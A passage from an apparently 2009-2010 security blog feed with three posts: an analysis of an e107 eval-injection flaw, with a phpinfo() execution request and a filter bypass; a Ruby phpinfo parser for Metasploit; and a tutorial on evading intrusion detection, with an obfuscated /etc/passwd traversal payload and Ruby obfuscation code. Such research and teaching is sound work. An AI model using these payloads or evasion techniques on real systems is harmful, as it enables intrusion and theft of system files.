As we can see from the above code, this is most definitely not a bug in the software, and indeed a maliciously placed backdoor like Bogdan had initially suggested. The practice of placing malicious code within popular web applications is nothing new, and some may even say that this incident is similar to the Wordpress incident of 2007, where an attacker had successfully managed to taint some Wordpress distributions with malicious code.&lt;br /&gt;
&lt;br /&gt;
One of the interesting things about this case though, versus the Wordpress incident is the fact that this breach seems to have literally happened within a day of e107 patching a serious undisclosed security issue. This leads me to wonder, did the e107 developers attempt to correct errors in thier distribution code before securing thier own servers? The timing of the incident definitely does seem to suggest that is the case, unfortunately.&lt;br /&gt;
&lt;br /&gt;
In regards to the bug itself that allowed for all of the e107 issues, little is known about the technical details of the vulnerability. However, a quick glance at the &lt;a href="http://e107.cvs.sourceforge.net/viewvc/e107/e107_0.7/"&gt;e107 CVS repository&lt;/a&gt; and we can see a few interesting entries.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background: none repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt; class2.php         1.390      5 days       mcfly_e107       Another small fix - just in case  
 login.php          1.16       7 days       mcfly_e107       Beginning removal of the use of /e with preg_replace  
 userposts.php      1.32       7 days       mcfly_e107       Beginning removal of the use of /e with preg_replace  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
It seems that this week several files were modified, some of which make mention of "Beginning removal of the use of /e with preg_replace" within thier commit notes, which might lead one to believe that the undisclosed vulnerabilities were due to careless use of eval with preg_replace. After having a look at the changes made within class2.php our suspicions are confirmed.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background: none repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;   
 revision 1.388, Sat Jan 9 20:32:21 2010 UTC   
 define("e_QUERY", $e_QUERY);  
   
 revision 1.390, Fri Jan 22 15:00:22 2010 UTC   
 define("e_QUERY", str_replace(array('{', '}', '%7B', '%7b', '%7D', '%7d'), '', $e_QUERY));  
   
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
As we can see from the above code, the changes in class2.php seem to be an application wide attempt to remove the characters { and } from the e_QUERY constant, which are indeed very convienant to use within preg_replace, and eval injection attacks, as they allow code to be parsed dynamically within strings.&lt;br /&gt;
&lt;br /&gt;
Now that we seem to have the cause of the vulnerability figured out, we can now focus on finding an exploitable attack vector, which in this case will be login.php. I chose to use login.php because exploitation is a bit different, and can only be used reliably against servers that do not consider case sensitivity. This was done intentionally since there are still very many vulnerable hosts in the wild at the moment.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  $text = preg_replace("/\{(.*?)\}/e", 'varset($\1,"\1")', $LOGIN_TABLE);  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
The above code is part of the code removed from login.php that basically attempts to make use of the $LOGIN_TABLE variable inside of a preg_replace eval call. The $LOGIN_TABLE variable contains a value from the login template used to render the login form etc. to an unauthenticated user. The problem here is that the language files are included from a file, and thus executed as soon as they are included, which parses variables and constants within the file at runtime. So, whenever we see preg_replace with an eval switch used within e107 to parse template values, it is safe to assume that all variables within the template data such as e_SELF and e_QUERY, now hold the contents of the variable itself which makes remote PHP code execution trivial.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="background: url(&amp;quot;http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif&amp;quot;) repeat scroll 0% 0% rgb(240, 240, 240); border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  http://www.example.com/e107/login.pHp/{x,phpinfo()}  
&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;
Since login.php parsed the contents of $LOGIN_TABLE with the eval switch, and the included template value containted the e_SELF constant, the above request to a vulnerable e107 install would successfully execute the phpinfo function. A couple of things worth mentioning.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;[1]&lt;/b&gt;&lt;/i&gt;&amp;nbsp; My above example will only work on servers that do not consider case sensitivity as e107 partially filters the PHP_SELF variable before placing it into the e_SELF constant.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;i&gt;[2]&lt;/i&gt;&lt;/b&gt;&amp;nbsp; Complex curly syntax is not used here. The { and } characters are actually just markers in this case used internally by e107, and that is why we append our function to be executed to a string/variable value.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;[3]&lt;/b&gt;&lt;/i&gt;&amp;nbsp; Exploitation is probably not limited to just e_SELF and e_QUERY, as all user controlled variables within template data parsed in the previously mentioned manner are succeptible to attack.&lt;br /&gt;
&lt;br /&gt;
&lt;i&gt;&lt;b&gt;[4]&lt;/b&gt;&lt;/i&gt;&amp;nbsp; The fix within class2.php works in most cases, but is most definately flawed as we can bypass the filter to send urlencoded curly braces, as str_replace works sequentially with arrays. For example %7%7bB becomes { and %7%7dD&amp;nbsp; becomes } after the filter is applied to the e_QUERY data.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-2097071931964673407?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/PNsYBCDZAjVaUcpB-GvBcghaidk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PNsYBCDZAjVaUcpB-GvBcghaidk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/PNsYBCDZAjVaUcpB-GvBcghaidk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/PNsYBCDZAjVaUcpB-GvBcghaidk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/kyStN-dTZMI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/2097071931964673407/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2010/01/brief-analysis-of-e107-fiasco.html#comment-form" title="8 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/2097071931964673407?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/2097071931964673407?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/kyStN-dTZMI/brief-analysis-of-e107-fiasco.html" title="Brief analysis of the e107 fiasco" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><thr:total>8</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2010/01/brief-analysis-of-e107-fiasco.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4HRn48fip7ImA9WxNWFkk.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-6904455106488221407</id><published>2009-10-15T12:25:00.000-07:00</published><updated>2009-10-15T16:05:37.076-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-15T16:05:37.076-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Metasploit phpinfo parser</title><content type="html">In regards to stealth, executing the phpinfo() function is usually not the best idea when dealing with target exploitation. The reason for this is that the phpinfo() function is a very easy, and reliable way to test for PHP code execution; but due to it's popularity with various public exploits, has become a target for defensive filtering mechanisms. A real world example of this kind of behavior in action can be found with the popular web hosting company, Hostgator, who happen to host my old gulftech.org website. However, more and more hosts seem to be adapting a similar approach.&lt;br /&gt;
&lt;br /&gt;
&lt;pre&gt;james@phoenix:~$ telnet www.gulftech.org 80
Trying 74.54.188.50...
Connected to gulftech.org.
Escape character is '^]'.
GET /index.php?x=phpinfo(); HTTP/1.0

HTTP/1.1 403 Forbidden
Date: Thu, 15 Oct 2009 19:39:10 GMT
Server: Apache/2.2.11 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Accept-Ranges: bytes
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
&lt;/pre&gt;&lt;br /&gt;
&lt;br /&gt;
As we can see from the above example, the phpinfo(); string is detected within the query string, and access is automatically forbidden by the server. Regardless, there are still times when an exploit may need to access the phpinfo() function to gather environmental information, and can do so safely. Below is a small function written in Ruby that I use to parse the phpinfo() output within Metasploit that may save someone some time. Simply send the phpinfo() output to the function and an array will be returned that contains values for each corresponding option, which can then be retrieved by simply referencing the desired array key which is identical to the particular option's name.&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="-moz-background-clip: border; -moz-background-inline-policy: continuous; -moz-background-origin: padding; background: rgb(240, 240, 240) url(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif) repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  def get_phpinfo(data)  
2:    
3:    # Init  
4:    phpi = {}  
5:    
6:    # Look for signs of an unmodified phpinfo()  
7:    if ( data =~ /&amp;lt;h1 class="p"&amp;gt;PHP Version (.*?)&amp;lt;\/h1&amp;gt;/ )  
8:        
9:      # PHP Version  
10:      phpi['version'] = $1  
11:      # ---------------------------------------  
12:        
13:      # Match array  
14:      temp = data.scan(/&amp;lt;td class="e"&amp;gt;(.*?)&amp;lt;\/td&amp;gt;&amp;lt;td class="v"&amp;gt;(.*?)&amp;lt;\/td&amp;gt;/)  
15:        
16:      # Everything else  
17:      temp.each do |x,y|  
18:        phpi[x] = y.gsub(/(&amp;lt;\/*[a-zA-Z0-9]&amp;gt;)/, '')  
19:      end  
20:      # ---------------------------------------  
21:      return phpi  
22:    else  
23:      # Error  
24:      return false  
25:    end  
26:  end  
&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-6904455106488221407?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/i3ljKES-aNb_9AL6NIDl7Qz-dfw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/i3ljKES-aNb_9AL6NIDl7Qz-dfw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/i3ljKES-aNb_9AL6NIDl7Qz-dfw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/i3ljKES-aNb_9AL6NIDl7Qz-dfw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/I3XzQj7KNpA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/6904455106488221407/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2009/10/metasploit-phpinfo-function-parser.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6904455106488221407?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6904455106488221407?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/I3XzQj7KNpA/metasploit-phpinfo-function-parser.html" title="Metasploit phpinfo parser" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2009/10/metasploit-phpinfo-function-parser.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DU4CQHs5fyp7ImA9WxNWFkk.&quot;"><id>tag:blogger.com,1999:blog-4185830889479063425.post-6922393064573867633</id><published>2009-10-15T09:39:00.000-07:00</published><updated>2009-10-15T16:06:01.527-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2009-10-15T16:06:01.527-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="metasploit" /><title>Application specific IDS evasion</title><content type="html">One of the most overlooked means of obfuscating malicious requests when attempting to exploit a target is application, and interpreter specific evasion techniques. These techniques can apply to any number of web based technologies, but for the sake of brevity I am going to be using PHP as my primary example(s).&lt;br /&gt;
&lt;br /&gt;
The root of this issue really lies within the ability to manipulate data that the Intrusion Detection System is not necessarily expecting. This should be fairly obvious as this is always the name of the game with IDS. However, by using application, or even interpreter specific modifications to further obfuscate data we can really make our efforts much more effective.&lt;br /&gt;
&lt;pre&gt;&lt;span style="font-size: 85%;"&gt;# Load specified custom user template
$user = stripslashes(strip_tags($_GET['user']));
@include_once("data/users/$user.tpl");&lt;/span&gt;
&lt;/pre&gt;&lt;br /&gt;
As we can see from the above insecure code, it is trivial to modify the "user" parameter to include (and possibly execute) any file resource that the httpd process has access to. Unfortunately, directory traversal sequences are a red flag to just about every IDS out there, so we can not just send a traditional "dot dot slash" sequence without causing alarm. Fortunately though for an attacker, IDS usually does not anticipate the way that an application may or may not use the functions that is has access to, thus allowing for a much greater degree of obfuscation.&lt;br /&gt;
&lt;pre&gt;&lt;span style="font-size: 85%;"&gt;
index.php?user=\.&amp;lt;1&amp;gt;\.&amp;lt;2&amp;gt;\/\.&amp;lt;1&amp;gt;\.&amp;lt;2&amp;gt;\/\.&amp;lt;1&amp;gt;\.&amp;lt;2&amp;gt;\/etc/passwd\\0&lt;/span&gt;
&lt;/pre&gt;&lt;br /&gt;
Since the vulnerable code in question uses the strip_tags() and stripslashes() PHP functions it is safe for an attacker to include garbage data that will be filtered by these functions, in addition to more traditional obfuscation techniques. Once the "user" parameter is parsed by the previously mentioned PHP functions the user parameter shown above will end up looking like this.&lt;br /&gt;
&lt;pre&gt;&lt;span style="font-size: 85%;"&gt;index.php?user=../../../etc/passwd\0&lt;/span&gt;
&lt;/pre&gt;&lt;br /&gt;
One thing to keep in mind though when using this approach is request size. The requests can be obfuscated heavily, but the more obfuscation that is added makes for a substantially larger request which may inadvertently trigger the very IDS that is meant to be avoided. Below is a function that I wrote in Ruby, and is meant to be used as a means to add this application specific obfuscation to your Metasploit Framework projects. If you have any suggestions feel free to leave a comment.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre style="-moz-background-clip: border; -moz-background-inline-policy: continuous; -moz-background-origin: padding; background: rgb(240, 240, 240) url(http://2.bp.blogspot.com/_z5ltvMQPaa8/SjJXr_U2YBI/AAAAAAAAAAM/46OqEP32CJ8/s320/codebg.gif) repeat scroll 0% 0%; border: 1px dashed rgb(204, 204, 204); color: black; font-family: arial; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"&gt;&lt;code style="color: black; word-wrap: normal;"&gt;1:  def init_evasion(data, func, opts = {})  
2:    
3:    case func  
4:      when 'stripslashes'  
5:        if ( !opts['qgpc'] )  
6:          data = data.gsub(/(.)/,'\\\\\1')  
7:        end  
8:        return data  
9:      when 'strip_tags'  
10:        return data.gsub(/([\.\/])/, '&amp;lt;0&amp;gt;\\1')  
11:      when 'urldecode'  
12:        data = Rex::Text.uri_decode(data)  
13:        data = data.unpack('C*').collect{|x| '%25' + sprintf('%.2x', x) }  
14:        return data  
15:      else  
16:        return false  
17:    end  
18:  end  
&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4185830889479063425-6922393064573867633?l=0x6a616d6573.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/ggjSvUXb9bxF6VQ-34dJTj7pd-o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ggjSvUXb9bxF6VQ-34dJTj7pd-o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/ggjSvUXb9bxF6VQ-34dJTj7pd-o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/ggjSvUXb9bxF6VQ-34dJTj7pd-o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/0x6a616d6573/~4/IgYiOEzdX4A" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://0x6a616d6573.blogspot.com/feeds/6922393064573867633/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://0x6a616d6573.blogspot.com/2009/10/application-specific-ids-evasion.html#comment-form" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6922393064573867633?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4185830889479063425/posts/default/6922393064573867633?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/0x6a616d6573/~3/IgYiOEzdX4A/application-specific-ids-evasion.html" title="Application specific IDS evasion" /><author><name>0x6a616d6573</name><uri>http://www.blogger.com/profile/01209289865204594809</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="29" src="http://4.bp.blogspot.com/_2XllQAzwGBk/S2GKcznR5lI/AAAAAAAAACE/-UALxgcZ564/S220/brute.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://0x6a616d6573.blogspot.com/2009/10/application-specific-ids-evasion.html</feedburner:origLink></entry></feed>

